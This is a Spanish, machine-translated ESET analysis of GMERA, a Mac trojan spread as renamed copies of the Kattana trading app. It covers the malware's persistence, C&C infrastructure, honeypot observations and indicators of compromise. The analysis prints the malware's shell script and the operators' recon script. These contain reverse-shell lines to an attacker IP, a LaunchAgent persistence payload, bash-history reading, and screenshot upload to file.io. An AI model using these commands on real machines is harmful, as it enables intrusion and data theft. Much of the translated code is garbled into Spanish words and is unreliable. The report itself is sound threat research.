
Los investigadores de ESET atraen a los operadores de malware GMERA para controlar de forma remota sus honeypots Mac
Recientemente hemos descubierto sitios web que distribuyen aplicaciones maliciosas de comercio de criptomonedas para Mac. Este malware se usa para robar información como cookies del navegador, billeteras de criptomonedas y capturas de pantalla. Al analizar las muestras de malware, descubrimos rápidamente que se trataba de una nueva campaña de lo que los investigadores de Trend Micro llamaron GMERA, en un análisis que publicaron en septiembre de 2019. Al igual que en las campañas anteriores, el malware informa a un servidor C&C a través de HTTP y conecta sesiones de terminal remotas a otro servidor C&C utilizando una dirección IP codificada. Esta vez, sin embargo, no solo los autores de malware envolvieron la aplicación original y legítima para incluir malware; También cambiaron el nombre de la aplicación comercial Kattana con nuevos nombres y copiaron su sitio web original. Hemos visto las siguientes marcas ficticias utilizadas en diferentes campañas: Cointrazer, Cupatrade, Licatrade y Trezarus. Además del análisis del código de malware, los investigadores de ESET también han establecido honeypots para tratar de revelar las motivaciones detrás de este grupo de delincuentes.
Distribución
Todavía no hemos podido encontrar exactamente dónde se promueven estas aplicaciones trojanizadas. Sin embargo, en marzo de 2020, Kattana publicado una advertencia sugiriendo que las víctimas fueron abordadas individualmente para atraerlas a descargar una aplicación troyanada. No pudimos confirmar que estuviera vinculado a esta campaña en particular, pero podría ser el caso.
Los sitios web de Copycat están configurados para que la falsa descarga de la aplicación parezca legítima. Para una persona que no conoce Kattana, los sitios web parecen legítimos.
- Figura 2. Sitio web original (legítimo) de Kattana
- Figura 3. Sitio web malicioso de Licatrade con enlace de descarga a malware
El botón de descarga en los sitios falsos es un enlace a un archivo ZIP que contiene el paquete de aplicaciones trojanizadas.
Análisis
El análisis de malware en este caso es bastante sencillo. Tomaremos la muestra de Licatrade como el ejemplo aquí. Otras muestras tienen diferencias menores, pero las ideas y funcionalidades son esencialmente las mismas. Se proporcionan análisis similares de campañas anteriores de GMERA en Trend Micro entrada en el blog y en Objective-See's Mac malware de 2019 reporte.
Marcas de tiempo de modificación de los archivos en el archivo ZIP, la fecha en que se firmó la solicitud y el Última modificación El encabezado HTTP cuando descargamos el archivo muestra todo el 15 de abrilth2020. Esto sugiere que esta campaña comenzó en esa fecha.
Un script de shell (run.sh) se incluye en los recursos del paquete de aplicaciones. Este ejecutable principal, escrito en Swift, se inicia run.sh. Por alguna razón, el autor del malware ha duplicado la funcionalidad para enviar un informe simple a un servidor C&C a través de HTTP, y para conectarse a un host remoto a través de TCP que proporciona un shell remoto a los atacantes, tanto en el ejecutable principal como en el script de shell. Una funcionalidad adicional, solo en el script de shell, es configurar la persistencia instalando un Launch Agent.
Aquí está la fuente completa del script de shell (puntos suspensivos en cadena larga y defanged):
#! / bin / bash
función remove_spec_char () tr '(: upper :)' '(: lower :)'
whoami = "$ (remove_spec_char` whoami`) "
ip = "$ (remove_spec_char` curl -s ipecho.net / plain`) "
req = `curl -ks" http: // stepbystepby (.) com / link.php? $ whoami & $ ip "`
plist_text = "ZWNobyAnc2R2a21 … d2Vpdm5laXZuZSc ="
echo "$ plist_text" | base64 –decode> "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$ HOME / Library / LaunchAgents / .com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre = `pantalla -d -m bash -c 'bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1' '
#! / bin / bash función remove_spec_char() tr '(:Superior:)' '(:inferior:)'
quién soy="$ (remove_spec_char` whoami`) " ip="$ (remove_spec_char` curl -s ipecho.net / plain`) " req=«rizo –Kansas "http: // stepbystepby (.) com / link.php? $ whoami & $ ip"« plist_text="ZWNobyAnc2R2a21 … d2Vpdm5laXZuZSc =" eco "$ plist_text" El | base64 –descodificar > "/tmp/.com.apple.system.plist" cp "/tmp/.com.apple.system.plist" "$ HOME / Library / LaunchAgents / .com.apple.system.plist" launchctl carga "/tmp/.com.apple.system.plist" scre=«pantalla –re –metro intento –C 'bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1'« |
Es interesante observar que la persistencia se rompe en la muestra de Licatrade: el contenido del archivo resultante del Agente de lanzamiento (.com.apple.system.plist) no está en formato de Lista de propiedades como lanzamiento espera, pero en cambio es la línea de comando que se ejecutará.
El contenido descodificado (elipses en cadenas largas) del $ plist_text variable es:
echo 'sdvkmsdfmsd … kxweivneivne'; mientras :; duerme 10000; pantalla -X salir; lsof -ti: 25733 | xargs kill -9; pantalla -d -m bash -c 'bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1'; hecho; echo 'sdvkmsdfmsdfms… nicvmdskxweivneivne'
eco 'sdvkmsdfmsd … kxweivneivne'; mientras :; hacer dormir 10000; pantalla –X dejar; lsof –ti :25733 El | xargs matar –9; pantalla –re –metro intento –C 'bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1'; hecho; eco 'sdvkmsdfmsdfms … nicvmdskxweivneivne' |
Si se ejecuta directamente, este código abriría un shell inverso de la máquina víctima a un servidor controlado por el atacante, pero eso falla aquí. Afortunadamente para los atacantes, la última línea del script de shell también inicia un shell inverso a su servidor.
La muestra Cointrazer, utilizada en campañas anteriores a Licatrade, no sufre este problema: el Agente de inicio se instala y se inicia con éxito cuando el usuario inicia sesión.
Los diversos shells inversos utilizados por estos operadores de malware se conectan a diferentes puertos remotos dependiendo de cómo se iniciaron. Todas las conexiones no están encriptadas. Aquí hay una lista de puertos, basada en el ejemplo de Licatrade.
Puerto TCP | Dónde | Cómo |
---|---|---|
25733 | Ejecutable de Licatrade | zsh en pantalla utilizando ztcp |
run.sh | intento en pantalla utilizando / dev / tcp | |
Agente de lanzamiento (no funciona) | intento en pantalla utilizando / dev / tcp | |
25734 | Ejecutable de Licatrade | zsh utilizando ztcp |
25735 | Ejecutable de Licatrade | intento utilizando / dev / tcp |
25736 | Ejecutable de Licatrade | intento en pantalla utilizando / dev / tcp |
25737 | Ejecutable de Licatrade | intento en pantalla utilizando / dev / tcp |
25738 | Ejecutable de Licatrade | zsh en pantalla utilizando ztcp |
Aquí hay algunos ejemplos de líneas de comando utilizadas:
- Bash en pantalla usando / dev / tcp:
pantalla -d -m bash -c ‘bash -i> /dev/tcp/193.37.212 (.) 97/25733 0> & 1’
zsh -c ‘zmodload zsh / net / tcp && ztcp 193.37.212 (.) 97 25734 && zsh> & $ REPLY 2> & $ REPLY 0> & $ REPLY’
La nueva aplicación de Kattana también se encuentra en los recursos del paquete de aplicaciones. Queríamos ver si, además del cambio de nombre e ícono en la aplicación, se cambiaba algún otro código. Dado que Kattana solicita credenciales para que las plataformas comerciales realicen operaciones comerciales, verificamos si los campos de entrada de estos se alteraron y si las credenciales se extrajeron de alguna manera. Kattana está construida con Electrón, y las aplicaciones Electron tienen un app.asar archivo, que es un archivo que contiene el código JavaScript de la aplicación. Hemos comprobado todos los cambios entre la aplicación original de Kattana y el copycat malicioso de Licatrade y descubrimos que solo se cambiaron las cadenas y las imágenes.
Licatrade y sus recursos se firmaron con el mismo certificado, con el campo de nombre común establecido en Andrey Novoselov y usando ID de desarrollador M8WVDT659T. El certificado fue emitido por Apple el 6 de abrilth, 2020. Se revocó el mismo día que notificamos a Apple sobre esta aplicación maliciosa.
Para cada una de las otras campañas que analizamos, se utilizó un certificado diferente. Ambos ya fueron revocados por Apple cuando comenzamos nuestros análisis. Ver el IoC sección para más detalles sobre estos. Es interesante notar que en el caso de Cointrazer, solo hubo 15 minutos entre el momento en que Apple emitió el certificado y los malhechores que firmaron su solicitud troyanada. Esto, y el hecho de que no encontramos nada más firmado con la misma clave, sugiere que obtuvieron el certificado explícitamente para ese propósito.
Infraestructura
La aplicación maliciosa Licatrade estaba disponible en el licatrade.com el sitio web y su dominio del servidor de informes C&C HTTP es stepbystepby.com. Ambos dominios se registraron utilizando el levistor777@gmail.com dirección de correo electrónico. La búsqueda de otros dominios registrados con esa dirección de correo electrónico revela lo que parecen varias campañas anteriores. Aquí hay una lista de dominios que encontramos en muestras o registrados con esa dirección de correo electrónico.
Nombre de dominio | Fecha de Registro | Comentario |
---|---|---|
repbaerray.pw | 2019-02-25 | Servidor C&C para el informe HTTP de la aplicación Stockfolio |
macstockfolio.com | 2019-03-03 | Sitio web que distribuye la aplicación maliciosa Stockfolio |
latinumtrade.com | 2019-07-25 | Sitio web que distribuye la aplicación Latinum maliciosa |
trezarus.com | 2019-06-03 | Sitio web que distribuye la aplicación maliciosa Trezarus |
trezarus.net | 2019-08-07 | |
cointrazer.com | 2019-08-18 | Sitio web que distribuye la aplicación maliciosa Cointrazer |
apperdenta.com | 2019-08-18 | Uso desconocido |
narudina.com | 2019-09-23 | Uso desconocido |
nagsrsdfsudinasa.com | 2019-10-09 | Servidor C&C para el informe HTTP de la aplicación Cointrazer |
cupatrade.com | 2020-03-28 | Sitio web que distribuye la aplicación maliciosa Cupatrade |
stepbystepby.com | 2020-04-07 | Servidor C&C para informe HTTP de la aplicación Licatrade |
licatrade.com | 2020-04-13 | Sitio web que distribuye la aplicación maliciosa Licatrade |
creditfinelor.com | 2020-05-29 | Página vacía, uso desconocido |
maccatreck.com | 2020-05-29 | Algún formulario de autenticación |
Tanto los sitios web como los servidores HTTP C&C que reciben el primer informe del malware están alojados detrás de Cloudflare.
Interacciones Honeypot
Para obtener más información sobre las intenciones de este grupo, configuramos honeypots donde monitoreamos todas las interacciones entre las puertas traseras de shell inverso de GMERA y los operadores de este malware.
No vimos ningún comando C&C emitido a través del canal del servidor HTTP C&C; Todo sucedió a través de los depósitos inversos. Cuando se conectó por primera vez, el servidor de C&C envió un pequeño script para recopilar el nombre de usuario, la versión de macOS y la ubicación (basada en la dirección IP externa) del dispositivo comprometido.
#! / bin / bash
control de funcionamiento()
if (! -f /private/var/tmp/.i); luego
escribir
más
if ("$ (($ (fecha +"% s ") – $ (stat -f"% m "/private/var/tmp/.i)))" -gt "21600"); luego
escribir
fi
fi
función write ()
getit = `curl -s ipinfo.io
cheque
cat /private/var/tmp/.i
1 2 3 4 4 5 5 6 6 7 7 8 9 10 11 12 13 14 15 dieciséis 17 18 años |
#! / bin / bash función cheque() Si ( ! –F / /privado/ /var/ /tmp/ /.yo ); luego escribir más Si ( "$ (($ (fecha +"%s") – $ (stat -f"%metro"/private/var/tmp/.i)))" –gt "21600" ); luego escribir fi fi
función escribir() grep –mi país –mi ciudad El cheque gato / /privado/ /var/ /tmp/ /.yo |
que envió algo como esto a los operadores:
Jeremy
10.13.4
Bratislava
SK
Jeremy 10.13.4 Bratislava SK |
La conexión TCP permanece abierta y espera más comandos. En nuestro caso, después de un tiempo, los operadores inspeccionaron manualmente la máquina. En varios de nuestros honeypots, los comandos utilizados para realizar esa inspección variaron. Parte de esto era solo listar archivos en todo el sistema de archivos. A veces, copiarían y pegarían un script codificado en base64 diseñado para enumerar información para revelar si el sistema es un honeypot o realmente interesante. El script se decodifica y luego se canaliza a bash.

Figura 8. Captura de paquetes del operador que envía el script de reconocimiento secundario codificado en base64
Aquí está el script decodificado:
eco ""
echo "—— Whoami ——"
quién soy
echo "—— Información de IP ——"
curl -s ipinfo.io
echo "—— Modelo Mac ——"
curl -s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/ Serial / print $ 4' | cut -c 9-) | sed 's. *
echo "—— Versión de MacOS ——"
sw_vers -productVersion
sw_vers -productVersion | grep -E "10.15. *" && echo -e " 033 (1; 31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA 033 (0m "
dormir 1
echo "—— MacOS instalado ——"
date -r /var/db/.AppleSetupDone
echo "—— Discos ——"
df -m
echo "—— Salida de video ——"
system_profiler SPDisplaysDataType
echo "—— Wifi alrededor ——"
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
echo "—— Detector virtual de Mashine ——"
ioreg -l | grep -e Fabricante -e 'Nombre del proveedor' | grep -E "irtual | racle | ware | arallels" || echo "Probablemente no sea una máquina virtual …"
eco "——————————–"
echo "—— Detector de desarrollador ——"
eco "——————————–"
echo "||| Aplicaciones |||"
ls -laht / Aplicaciones | grep -E "Xcode | ublime | ourceTree | Atom | MAMP | TextWrangler | Código | ashcode" && echo "- | Tenga cuidado | -"
echo "||| Historial de Bash corto |||"
cat ~ / .bash_history | cabeza -n 20
echo "—— Pantalla de escritorio ——"
echo "crear captura de pantalla …"
sw_vers -productVersion | grep -E "10.15. *" y captura de pantalla -t jpg -x /tmp/screen.jpg &> / dev / null
sorbos -z 500800 /tmp/screen.jpg &> / dev / null
sorbos -s formatOptions 50 /tmp/screen.jpg &> / dev / null
echo "cargando …"
curl -s -F "file=@/tmp/screen.jpg" https://file.io
1 2 3 4 4 5 5 6 6 7 7 8 9 10 11 12 13 14 15 dieciséis 17 18 años 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
eco "" eco "—— Quién soy ——" quién soy eco "—— Información de IP ——" rizo –s ipinfo.io eco "—— Modelo Mac ——" rizo –s https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/ Serial / print $ 4' | cut -c 9-) | sed 's. * eco "—— Versión de MacOS ——" sw_vers –version del producto sw_vers –version del producto El | grep –mi "10.15. *" && eco –mi " 033 (1; 31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA dormir 1 eco "—— MacOS instalado ——" fecha –r / /var/ /db/ /.AppleSetupDone eco "—— Discos ——" df –metro eco "—— Salida de video ——" system_profiler SPDisplaysDataType eco "—— Wifi alrededor ——" / /Sistema/ /Biblioteca/ /PrivateFrameworks/ /Manzana80211.marco de referencia/ /Versiones/ /Actual/ /Recursos/ /aeropuerto –s eco "—— Detector virtual de Mashine ——" ioreg –l El | grep –mi Fabricante –mi 'Nombre del vendedor' El | grep –mi "irtual | racle | ware | arallels" || eco "Probablemente no sea una máquina virtual …" eco "——————————–" eco "—— Detector de desarrollador ——" eco "——————————–" eco "||| Aplicaciones |||" ls –laht / /Aplicaciones El | grep –mi "Xcode | ublime | ourceTree | Atom | MAMP | TextWrangler | Código | ashcode" && eco "- | Ten cuidado | -" eco "||| Historial de Bash corto |||" gato ~/ /.bash_history El | cabeza –norte 20 eco "—— Pantalla de escritorio ——" eco "crear captura de pantalla …" sw_vers –version del producto El | grep –mi "10.15. *" Y la captura de pantalla –t jpg –X / /tmp/ /pantalla.jpg Y> / /dev/ /nulo sorbos –z 500 800 / /tmp/ /pantalla.jpg Y> / /dev/ /nulo sorbos –s opciones de formato 50 / /tmp/ /pantalla.jpg Y> / /dev/ /nulo eco "cargando …" rizo –s –F "file=@/tmp/screen.jpg" https://file.io |
Este script es en realidad muy similar al enchufar archivo encontrado en una de las muestras de Stockfolio analizado el año pasado. Sin embargo, en las campañas más recientes, eligieron enviar el guión de reconocimiento a través de la red solo a víctimas interesantes. También se actualizó para incluir información adicional.

Figura 9. Informe de salida que se vería en el terminal de un operador (reconstruido a partir de la captura de paquetes)
Repasaremos cada sección del guión aquí:
- Obtiene el informe completo sobre la IP externa de ipinfo.io
- Comprueba el modelo de Mac utilizando los últimos 4 dígitos del número de serie de Mac y un servicio HTTP proporcionado por Apple para traducirlo a un nombre descriptivo como "MacBook Pro (Retina, 15 pulgadas, finales de 2013)". Es probable que las máquinas virtuales tengan números de serie no válidos y no muestren un modelo aquí.
- Produce la versión de macOS instalada. Hay un rojo bastante grande (usando la secuencia de escape ANSI), todas las mayúsculas advierten cuando la computadora ejecuta macOS Catalina (10.15). Creemos que entendemos por qué y hablamos de eso más tarde.
- Comprueba cuándo se instaló macOS utilizando el tiempo de modificación del /var/db/.AppleSetupDone.
- Produce el uso del disco y los detalles de los monitores conectados.
- Enumera las redes Wi-Fi disponibles. Es probable que los Honeypots tengan Wi-Fi desactivado.
- Detecta si la computadora es una máquina virtual VMware, Parallels o VirtualBox al observar las cadenas de los proveedores de dispositivos conectados.
- Comprueba si los editores de texto comunes o las aplicaciones IDE están instalados y advierte a los operadores que "tengan cuidado" (sic) porque esta víctima podría tener más conocimientos informáticos de lo habitual.
- Obtiene los primeros 20 comandos (es decir, el más antiguo) del archivo de historial de bash.
- Finalmente, toma una captura de pantalla, la redimensiona y la sube a file.io. Comprueba si el sistema ejecuta macOS Catalina antes de hacerlo, pero un error en el script hace que esta comprobación sea inútil. El operador de control "&", que inicia comandos en paralelo, se usa en lugar del lógico Y ("&&") operador. Esto significa que la captura de pantalla se toma independientemente de la versión de macOS.
El hecho de que no se debe tomar una captura de pantalla en Catalina y que se mostrará una señal de advertencia obvia en el terminal del operador nos hizo preguntarnos por qué actúan de manera diferente en la versión actual de macOS. Resulta que Catalina agregó una función para grabar la pantalla o tomar una captura de pantalla debe ser aprobado por el usuario para cada aplicación Probamos tomar una captura de pantalla del shell inverso en Catalina y terminamos con la siguiente advertencia en nuestro entorno limitado, lo cual es bastante sospechoso teniendo en cuenta que una aplicación comercial no tiene por qué hacerlo.
Si un sistema comprometido se considera interesante, comienza la fase de exfiltración. Los archivos interesantes se comprimen en un archivo ZIP y se cargan a través de HTTP a otro servidor, también bajo el control de los atacantes.

Figura 11. Captura de paquetes de un operador que usa el shell inverso para filtrar las cookies del navegador
Es divertido notar aquí el /tmp/h.zip El archivo no existía. Quizás copiaron y pegaron algún comando que se utilizó para otra víctima.
Según la actividad que hemos presenciado, concluimos que algunos de los intereses de los operadores de este malware son:
- Información del navegador (cookies, historial)
- Billeteras de criptomonedas
- Capturas de pantalla
Conclusión
Las numerosas campañas llevadas a cabo por este grupo muestran cuánto esfuerzo han realizado durante el último año para comprometer a los usuarios de Mac en el comercio en línea. Todavía no estamos seguros de cómo alguien se convierte en una víctima, descargando una de las aplicaciones troyanizadas, pero la hipótesis de que los operadores contacten directamente a sus objetivos y los diseñen socialmente para instalar la aplicación maliciosa parece la más plausible.
Es interesante observar cómo la operación de malware es más limitada en la versión más reciente de macOS. No vimos que los operadores intentaran eludir la limitación que rodea a las capturas de pantalla. Además, creemos que la única forma en que podrían ver la pantalla de la computadora en las máquinas de la víctima que ejecutan Catalina sería filtrar las capturas de pantalla existentes tomadas por la víctima. Este es un buen ejemplo del mundo real de una implementación de mitigación en el sistema operativo que ha funcionado para limitar las actividades de los malhechores.
Indicadores de compromiso (IoC)
Muestras
SHA-1 | Nombre del archivo | Nombre de detección de ESET |
---|---|---|
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3B | Licatrade.zip | múltiples amenazas |
560071EF47FE5417FFF62CB5C0E33B0757D197FA | Licatrade.app/Contents/Resources/run.sh | OSX / Agent.BA |
4C688493958CC7CCCFCB246E706184DD7E2049CE | Licatrade.app/Contents/MacOS/Licatrade | OSX / Agent.BA |
9C0D839D1F3DA0577A123531E5B4503587D62229 | Cointrazer.zip | múltiples amenazas |
DA1FDA04D4149EBF93756BCEF758EB860D0791B0 | Cointrazer.app/Contents/Resources/nytyntrun.sh | OSX / Agent.AZ |
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380 | Cointrazer.app/Contents/MacOS/Cointrazer | OSX / Agent.BA |
575A43504F79297CBFA900B55C12DC83C2819B46 | Stockfolio.zip | múltiples amenazas |
B8F19B02F9218A8DD803DA1F8650195833057E2C | Stockfolio.app/Contents/MacOS/Stockfoli | OSX / Agent.AZ |
AF65B1A945B517C4D8BAAA706AA19237F036F023 | Stockfolio.app/Contents/Resources/run.sh | OSX / Agent.AZ |
Certificado de firma de código
Nombre de la aplicación | Huella digital (SHA-1) | Identidad del desarrollador | Válida desde | Aplicación registrada | Revocado en |
---|---|---|---|---|---|
Portafolio | E5D2C7FB4A64EAF444728E5C61F576FF178C5EBF | Levis Toretto (9T4J9V8NV5) | 2018-11-25 | 2019-04-18 | 2019-07-26 |
Cointrazer | 1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55 | Andrei Sobolev (A265HSB92F) | 2019-10-17 | 2019-10-17 | 2020-04-16 |
Licatrade | BDBD92BFF8E349452B07E5F1D2883678658404A3 | Andrey Novoselov (M8WVDT659T) | 2020-04-06 | 2020-04-15 | 2020-05-28 |
Red
Nombres de dominio
• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com
Direcciones IP
• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97
Indicadores basados en el host
Rutas de archivo
• $ HOME / Library / LaunchAgents / .com.apple.upd.plist
• $ HOME / Library / LaunchAgents / .com.apple.system.plist
• /tmp/.fil.sh
• / tmp / loglog
Lanzar etiquetas de agente
• com.apple.apps.upd
• com.apples.apps.upd
Táctica | CARNÉ DE IDENTIDAD | Nombre | Descripción |
---|---|---|---|
Ejecución | T1204 | Ejecución de usuario | La víctima necesita ejecutar la aplicación maliciosa para verse comprometida. |
T1059 | Interfaz de línea de comandos | GMERA proporciona reversa intento y zsh conchas a sus operadores. | |
Persistencia | T1159 | Agente de lanzamiento | GMERA instala un agente de lanzamiento para mantener la persistencia. |
Evasión de defensa | T1116 | Firma de código | Todas las muestras de GMERA que hemos analizado fueron firmadas y se utilizaron certificados válidos, firmados por Apple (ahora revocados). |
Acceso de credenciales | T1139 | Bash History | Un guión de reconocimiento de GMERA enumera las primeras 20 líneas del .bash_history expediente. |
T1539 | Robar cookie de sesión web | Los operadores de GMERA roban las cookies del navegador a través de un shell inverso. | |
Descubrimiento | T1083 | Descubrimiento de archivos y directorios | Los operadores de GMERA enumeran archivos en el sistema de destino a través de un shell inverso y ls . |
T1497 | Virtualización / Evasión de Sandbox | Un script de reconocimiento de GMERA busca dispositivos específicos para hipervisores y advierte a los operadores si se ejecutan en una máquina virtual. | |
T1040 | Sniffing de red | Un script de reconocimiento de GMERA enumera las redes Wi-Fi disponibles para la Mac comprometida usando aeropuerto -s . | |
T1082 | Descubrimiento de información del sistema | Un script de reconocimiento de GMERA enumera información sobre el sistema, como la versión de macOS, las pantallas adjuntas y el modelo de Mac. | |
T1518 | Descubrimiento de software | Un script de reconocimiento de GMERA comprueba si las herramientas de desarrollador están instaladas. | |
Colección | T1005 | Datos del sistema local | Los operadores de GMERA usan este malware para filtrar archivos del sistema comprometido. |
T1113 | La captura de pantalla | Los operadores de GMERA toman capturas de pantalla del sistema comprometido y las filtran a través de file.io. | |
Comando y control | T1043 | Puerto de uso común | El informe inicial del malware se realiza utilizando HTTP en su puerto TCP estándar (80). |
T1065 | Puerto poco utilizado | Los shells inversos de GMERA se abren al conectarse a los puertos TCP del servidor C&C en el rango de 25733 a 25738. | |
Exfiltración | T1048 | Exfiltración sobre protocolo alternativo | GMERA extrae archivos del shell inverso mediante HTTP a otro servidor controlado por el atacante. |